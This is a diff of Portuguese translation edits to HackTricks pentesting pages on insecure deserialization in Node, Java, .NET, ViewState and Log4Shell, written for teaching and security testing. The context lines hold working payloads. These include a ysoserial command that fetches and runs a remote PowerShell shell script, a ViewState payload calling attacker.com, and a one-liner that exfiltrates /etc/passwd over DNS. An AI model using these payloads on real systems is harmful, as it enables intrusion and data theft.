-De qualquer forma, você poderia **modificar o objeto serializado**, **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
-No próximo trecho de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
+De qualquer forma, você poderia apenas **modificar o objeto serializado**, **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
+No próximo bloco de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
 ```javascript
 var serialize = require("node-serialize")
 var test = {
@@ -335,7 +335,7 @@ Preste atenção especial a:
 
 #### Caixa Preta
 
-Para testes de caixa preta, procure por **assinaturas específicas ou "Magic Bytes"** que denotam objetos serializados em java (originando de `ObjectInputStream`):
+Para testes de caixa preta, procure por **assinaturas específicas ou "Bytes Mágicos"** que denotam objetos serializados em java (originários de `ObjectInputStream`):
 
 - Padrão hexadecimal: `AC ED 00 05`.
 - Padrão Base64: `rO0`.
@@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
 ```
 ### Verifique se é vulnerável
 
-Se você quiser **aprender como funciona um exploit de Deserialização em Java**, deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização de DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Carga Útil CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
+Se você quiser **aprender como funciona um exploit de Deserialização em Java**, deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
 
 #### Teste de Caixa Branca
 
@@ -525,7 +525,7 @@ throw new java.io.IOException("Cannot be deserialized");
 - O código de desserialização está sob seu controle.
 - As classes esperadas para desserialização são conhecidas.
 
-Substitua o método **`resolveClass()`** para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no seguinte exemplo que restringe a desserialização apenas à classe `Bicycle`:
+Substitua o **`resolveClass()`** método para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no seguinte exemplo que restringe a desserialização apenas à classe `Bicycle`:
 ```java
 // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
 public class LookAheadObjectInputStream extends ObjectInputStream {
@@ -601,7 +601,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 
 ### Produtos
 
-Existem vários produtos que usam esse middleware para enviar mensagens:
+Existem vários produtos usando esse middleware para enviar mensagens:
 
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
 
@@ -644,13 +644,13 @@ A busca deve se concentrar na string codificada em Base64 **AAEAAAD/////** ou qu
 
 Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Uma vez baixado o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
 
-Se você quiser aprender sobre **como o ysoserial.net cria seu exploit**, você pode [**ver esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
+Se você quiser aprender sobre **como o ysoserial.net cria seu exploit**, pode [**ver esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
 
 As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
 
 - **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
 - **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está usando o back-end para desserializar a carga e usar a mesma para serializá-la)
-- **`--output`** usado para indicar se você deseja o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
+- **`--output`** usado para indicar se você quer o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
 - **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
 
 #### Mais parâmetros do ysoserial.net
@@ -677,7 +677,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 #Create exploit using the created B64 shellcode
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
-**ysoserial.net** também possui um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
+**ysoserial.net** também tem um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
 Se você indicar este parâmetro, **ysoserial.net** irá **tentar** o **exploit localmente,** para que você possa testar se seu payload funcionará corretamente.\
 Este parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 ```java
@@ -853,15 +853,15 @@ Verifique como pode ser possível [poluir uma classe Ruby e abusar dela aqui](ru
 
 ### Poluição _json Ruby
 
-Ao enviar no corpo alguns valores não hashable como um array, eles serão adicionados a uma nova chave chamada `_json`. No entanto, é possível para um atacante também definir no corpo um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verificar a veracidade de um parâmetro, mas também usar o parâmetro `_json` para realizar alguma ação, uma bypass de autorização pode ser realizada.
+Ao enviar no corpo alguns valores não hasháveis, como um array, eles serão adicionados a uma nova chave chamada `_json`. No entanto, é possível que um atacante também defina no corpo um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verificar a veracidade de um parâmetro, mas também usar o parâmetro `_json` para realizar alguma ação, uma bypass de autorização pode ser realizada.
 
 Verifique mais informações na [página de poluição _json Ruby](ruby-_json-pollution.md).
 
 ### Outras bibliotecas
 
-Esta técnica foi retirada[ **deste post no blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
+Esta técnica foi retirada [**deste post no blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
-Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que podem ser abusadas para obter RCE durante uma deserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são deserializadas (função a ser abusada para obter RCE basicamente):
+Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que podem ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são desserializadas (função a ser abusada para obter RCE basicamente):
 
 <table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
 

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -58,7 +58,7 @@ Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Fram
 
 Usando a exploração anterior, haverá casos em que o **objeto** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não terá **conhecimento do tipo de objeto que está encapsulado** na instância de _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Esta classe permite **especificar os tipos de objetos dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
+Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
 Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **encapsular \_ObjectDataProvider**_\*\* dentro de uma instância de \*\*_**ExpandedWrapper** \_ e **quando desserializado** esta classe **criará** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
 
 Você pode verificar este wrapper com o seguinte código:
@@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-Neste código você pode **testar a exploração**, basta executá-lo e você verá que uma calculadora é executada:
+Neste código você pode **testar a exploração**, basta executá-lo e você verá que um calc é executado:
 ```java
 using System;
 using System.Text;

src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md

@@ -4,7 +4,7 @@ Neste POST, será explicado um exemplo usando `java.io.Serializable`.
 
 # Serializable
 
-A interface Java `Serializable` (`java.io.Serializable` é uma interface de marcador que suas classes devem implementar se forem **serializadas** e **desserializadas**. A serialização de objetos Java (escrita) é feita com o [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e a desserialização (leitura) é feita com o [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
+A interface Java `Serializable` (`java.io.Serializable`) é uma interface de marcador que suas classes devem implementar se forem **serializadas** e **desserializadas**. A serialização de objetos Java (escrita) é feita com o [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e a desserialização (leitura) é feita com o [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
 
 Vamos ver um exemplo com uma **classe Person** que é **serializável**. Esta classe **sobrescreve a função readObject**, então quando **qualquer objeto** desta **classe** é **desserializado**, esta **função** será **executada**.\
 No exemplo, a **função readObject** da classe Person chama a função `eat()` de seu animal de estimação e a função `eat()` de um Dog (por algum motivo) chama um **calc.exe**. **Vamos ver como serializar e desserializar um objeto Person para executar esta calculadora:**

src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

@@ -32,14 +32,14 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
 ```
 **Identificando Atributos ViewState**
 
-Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
+Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o Mac não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
 ```
 ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
 ```
 ### Test case 1.5 – Como o Test case 1, mas o cookie ViewState não é enviado pelo servidor
 
 Os desenvolvedores podem **remover ViewState** de se tornar parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
-Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** de quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\
+Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** contra quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\
 No entanto, esse não é o caso. Se adicionarmos o **parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar **execução de código** como mostrado no **Caso 1**.
 
 ### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
@@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
 --encrypteddata : __VIEWSTATE parameter value of the target application
 --modifier : __VIWESTATEGENERATOR parameter value
 ```
-[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
+[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates do .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
 
 Ele pode ser fornecido com o viewstate e o gerador diretamente:
 ```
@@ -157,8 +157,8 @@ Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewSta
 
 ### Caso de Teste 6 – ViewStateUserKeys está sendo usado
 
-A propriedade **ViewStateUserKey** pode ser usada para **defender** contra um **ataque CSRF**. Se tal chave foi definida na aplicação e tentamos gerar o payload do **ViewState** com os métodos discutidos até agora, o **payload não será processado pela aplicação**.\
-Você precisa usar mais um parâmetro para criar corretamente o payload:
+A propriedade **ViewStateUserKey** pode ser usada para **defender** contra um **ataque CSRF**. Se tal chave foi definida na aplicação e tentamos gerar a carga útil do **ViewState** com os métodos discutidos até agora, a **carga útil não será processada pela aplicação**.\
+Você precisa usar mais um parâmetro para criar corretamente a carga útil:
 ```bash
 --viewstateuserkey="randomstringdefinedintheserver"
 ```
@@ -175,4 +175,6 @@ Verifique [mais informações aqui](<https://github.com/carlospolop/hacktricks/b
 - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
 - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
 
+
+
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

@@ -2,16 +2,16 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Requisição DNS na deserialização
+## Requisição DNS na desserialização
 
 A classe `java.net.URL` implementa `Serializable`, isso significa que esta classe pode ser serializada.
 ```java
 public final class URL implements java.io.Serializable {
 ```
 Esta classe tem um **comportamento curioso.** Da documentação: “**Dois hosts são considerados equivalentes se ambos os nomes dos hosts puderem ser resolvidos nos mesmos endereços IP**”.\
-Então, toda vez que um objeto URL chama **qualquer** uma das **funções `equals`** ou **`hashCode`**, uma **solicitação DNS** para obter o endereço IP será **enviada**.
+Então, toda vez que um objeto URL chama **qualquer** uma das **funções `equals`** ou **`hashCode`**, uma **solicitação DNS** para obter o endereço IP vai ser **enviada**.
 
-**Chamar** a função **`hashCode`** **de** um objeto **URL** é bastante fácil, basta inserir este objeto dentro de um `HashMap` que será desserializado. Isso ocorre porque **no final** da função **`readObject`** do `HashMap`, este código é executado:
+**Chamar** a função **`hashCode`** **de** um objeto **URL** é bastante fácil, é suficiente inserir este objeto dentro de um `HashMap` que vai ser desserializado. Isso ocorre porque **no final** da função **`readObject`** do `HashMap`, este código é executado:
 ```java
 private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException {
@@ -55,7 +55,7 @@ InetAddress addr = getHostAddress(u);
 ```
 Você pode ver que um `getHostAddress` é executado para o domínio, **lançando uma consulta DNS**.
 
-Portanto, esta classe pode ser **abusada** para **lançar** uma **consulta DNS** para **demonstrar** que **desserialização** é possível, ou até mesmo para **exfiltrar informações** (você pode anexar como subdomínio a saída de uma execução de comando).
+Portanto, esta classe pode ser **abusada** para **lançar** uma **consulta DNS** para **demonstrar** que a **desserialização** é possível, ou até mesmo para **exfiltrar informações** (você pode anexar como subdomínio a saída de uma execução de comando).
 
 ### Exemplo de código de payload URLDNS
 
@@ -125,7 +125,7 @@ return null;
 ### Mais informações
 
 - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
-- Na ideia original, o payload de commons collections foi alterado para realizar uma consulta DNS, isso era menos confiável do que o método proposto, mas este é o post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
+- Na ideia original, a carga útil das commons collections foi alterada para realizar uma consulta DNS, isso era menos confiável do que o método proposto, mas este é o post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
 
 ## GadgetProbe
 
@@ -135,7 +135,7 @@ Você pode baixar [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) da
 
 ### Como funciona
 
-**GadgetProbe** usará o mesmo **payload DNS da seção anterior**, mas **antes** de executar a consulta DNS, ele **tentará desserializar uma classe arbitrária**. Se a **classe arbitrária existir**, a **consulta DNS** será **enviada** e o GadgetProbe anotará que essa classe existe. Se a **requisição DNS** **nunca for enviada**, isso significa que a **classe arbitrária não foi desserializada** com sucesso, então ou ela não está presente ou não é **serializável/explorável**.
+**GadgetProbe** usará a mesma **carga útil DNS da seção anterior**, mas **antes** de executar a consulta DNS, ele **tentará desserializar uma classe arbitrária**. Se a **classe arbitrária existir**, a **consulta DNS** será **enviada** e o GadgetProbe anotará que essa classe existe. Se a **requisição DNS** **nunca for enviada**, isso significa que a **classe arbitrária não foi desserializada** com sucesso, então ou ela não está presente ou não é **serializável/explorável**.
 
 Dentro do github, [**GadgetProbe tem algumas listas de palavras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) com classes Java para serem testadas.
 
@@ -148,7 +148,7 @@ Dentro do github, [**GadgetProbe tem algumas listas de palavras**](https://githu
 ## Scanner de Desserialização Java
 
 Este scanner pode ser **baixado** da Burp App Store (**Extender**).\
-A **extensão** tem **capacidades** passivas e ativas.
+A **extensão** tem **capacidades** **passivas** e ativas.
 
 ### Passivo
 
@@ -165,18 +165,18 @@ Então, dentro da aba _Deserialization Scanner_ --> _Manual testing tab_ você p
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
 
-Mesmo que isso seja chamado de "Teste Manual", é bastante **automatizado**. Ele verificará automaticamente se a **desserialização** é **vulnerável** a **qualquer payload ysoserial**, verificando as bibliotecas presentes no servidor web e destacará as vulneráveis. Para **verificar** as **bibliotecas vulneráveis**, você pode optar por lançar **Javas Sleeps**, **sleeps** via **consumo de CPU**, ou usando **DNS**, como foi mencionado anteriormente.
+Mesmo que isso seja chamado de "Teste Manual", é bastante **automatizado**. Ele verificará automaticamente se a **desserialização** é **vulnerável** a **qualquer carga útil ysoserial**, verificando as bibliotecas presentes no servidor web e destacará as vulneráveis. Para **verificar** as **bibliotecas vulneráveis**, você pode optar por lançar **Javas Sleeps**, **sleeps** via **consumo de CPU**, ou usando **DNS**, como foi mencionado anteriormente.
 
 **Exploração**
 
 Uma vez que você tenha identificado uma biblioteca vulnerável, pode enviar a requisição para a aba _Exploiting_.\
-Nesta aba, você deve **selecionar** novamente o **ponto de injeção**, **escrever** a **biblioteca vulnerável** para a qual deseja criar um payload e o **comando**. Então, basta pressionar o botão de **Ataque** apropriado.
+Nesta aba, você deve **selecionar** novamente o **ponto de injeção**, **escrever** a **biblioteca vulnerável** para a qual deseja criar uma carga útil e o **comando**. Em seguida, basta pressionar o botão **Ataque** apropriado.
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
 
 ### Informações de Exfiltração DNS de Desserialização Java
 
-Faça seu payload executar algo como o seguinte:
+Faça sua carga útil executar algo como o seguinte:
 ```bash
 (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
 ```

src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

@@ -55,9 +55,9 @@ Ou **mais exatamente**, o que será executado no final seria:
 ```
 ### Como
 
-Então, como o primeiro payload apresentado é equivalente àqueles "simples" one-liners?
+Então, como o primeiro payload apresentado é equivalente àquelas "simples" linhas de código?
 
-**Primeiro** de tudo, você pode notar no payload que uma **cadeia (array) de transforms é criada**:
+**Primeiro** de tudo, você pode notar no payload que uma **cadeia (array) de transformações é criada**:
 ```java
 String[] command = {"calc.exe"};
 final Transformer[] transformers = new Transformer[]{
@@ -153,11 +153,11 @@ _Note que `value` é a entrada de cada transformação e a saída da transforma
 ```java
 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
 ```
-Note que aqui **foram explicados os gadgets** usados para o **payload ComonsCollections1**. Mas ficou **como tudo isso começa a ser executado**. Você pode ver [aqui que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para executar este payload, usa um objeto `AnnotationInvocationHandler` porque **quando este objeto é desserializado**, ele **invocará** a função `payload.get()` que **executará todo o payload**.
+Note que aqui **foram explicados os gadgets** usados para o **ComonsCollections1** payload. Mas ficou **como tudo isso começa a ser executado**. Você pode ver [aqui que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para executar este payload, usa um objeto `AnnotationInvocationHandler` porque **quando este objeto é desserializado**, ele **invocará** a função `payload.get()` que **executará todo o payload**.
 
 ## Java Thread Sleep
 
-Este payload pode ser **útil para identificar se o web é vulnerável, pois executará um sleep se for**.
+Este payload pode ser **útil para identificar se a web é vulnerável, pois executará um sleep se for**.
 ```java
 import org.apache.commons.*;
 import org.apache.commons.collections.*;

src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

@@ -42,12 +42,12 @@ CORBA (Common Object Request Broker Architecture) emprega uma **Referência de O
 - **ID do Tipo**: Identificador único para uma interface.
 - **Codebase**: URL para obter a classe stub.
 
-Notavelmente, o CORBA não é inerentemente vulnerável. Garantir segurança geralmente envolve:
+Notavelmente, o CORBA não é inerentemente vulnerável. Garantir a segurança geralmente envolve:
 
 - Instalação de um **Gerenciador de Segurança**.
 - Configuração do Gerenciador de Segurança para permitir conexões a codebases potencialmente maliciosas. Isso pode ser alcançado através de:
 - Permissão de socket, por exemplo, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
-- Permissões de leitura de arquivo, seja universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou para diretórios específicos onde arquivos maliciosos possam ser colocados.
+- Permissões de leitura de arquivos, seja universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou para diretórios específicos onde arquivos maliciosos possam ser colocados.
 
 No entanto, algumas políticas de fornecedores podem ser lenientes e permitir essas conexões por padrão.
 
@@ -83,7 +83,7 @@ Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias cl
 
 ## Vulnerabilidade Log4Shell
 
-A vulnerabilidade é introduzida no Log4j porque suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefix:name}` onde `prefix` é um dos vários [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `name` deve ser avaliado. Por exemplo, `${java:version}` é a versão atual do Java em execução.
+A vulnerabilidade é introduzida no Log4j porque suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefix:name}` onde `prefix` é um dos vários [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) que devem ser avaliados. Por exemplo, `${java:version}` é a versão atual do Java em execução.
 
 [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de Lookup `jndi`. Este recurso permite a recuperação de variáveis através do JNDI. Normalmente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a chave em si incluir um **":"**, esse prefixo padrão não é aplicado.
 
@@ -95,15 +95,15 @@ Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável
 
 ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**
 
-Esta vulnerabilidade é uma falha crítica de **desserialização não confiável** no componente `log4j-core`, afetando versões de 2.0-beta9 a 2.14.1. Permite **execução remota de código (RCE)**, permitindo que atacantes assumam o controle dos sistemas. O problema foi relatado por Chen Zhaojun da Alibaba Cloud Security Team e afeta vários frameworks Apache. A correção inicial na versão 2.15.0 foi incompleta. Regras Sigma para defesa estão disponíveis ([Regra 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Regra 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
+Esta vulnerabilidade é uma falha crítica de **desserialização não confiável** no componente `log4j-core`, afetando versões de 2.0-beta9 a 2.14.1. Permite **execução remota de código (RCE)**, permitindo que atacantes assumam o controle de sistemas. O problema foi relatado por Chen Zhaojun da Alibaba Cloud Security Team e afeta vários frameworks Apache. A correção inicial na versão 2.15.0 foi incompleta. Regras Sigma para defesa estão disponíveis ([Regra 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Regra 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
 
 ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]**
 
-Inicialmente classificado como baixo, mas posteriormente elevado para crítico, este CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que atacantes causem ataques DoS através de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de contorno. O problema foi resolvido nas versões 2.16.0 e 2.12.2, removendo padrões de busca de mensagens e desabilitando JNDI por padrão.
+Inicialmente classificado como baixo, mas posteriormente elevado para crítico, este CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na versão 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que atacantes causem ataques DoS através de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de contorno. O problema foi resolvido nas versões 2.16.0 e 2.12.2, removendo padrões de busca de mensagens e desabilitando JNDI por padrão.
 
 ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
 
-Afetando **versões Log4j 1.x** em configurações não padrão usando `JMSAppender`, este CVE é uma falha de desserialização não confiável. Nenhuma correção está disponível para a ramificação 1.x, que está no fim da vida, e recomenda-se a atualização para `log4j-core 2.17.0`.
+Afetando **versões Log4j 1.x** em configurações não padrão usando `JMSAppender`, este CVE é uma falha de desserialização não confiável. Nenhuma correção está disponível para a ramificação 1.x, que está no fim da vida útil, e recomenda-se a atualização para `log4j-core 2.17.0`.
 
 ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]**
 
@@ -115,7 +115,7 @@ Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do `log4j 2.17.0`
 
 ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
 
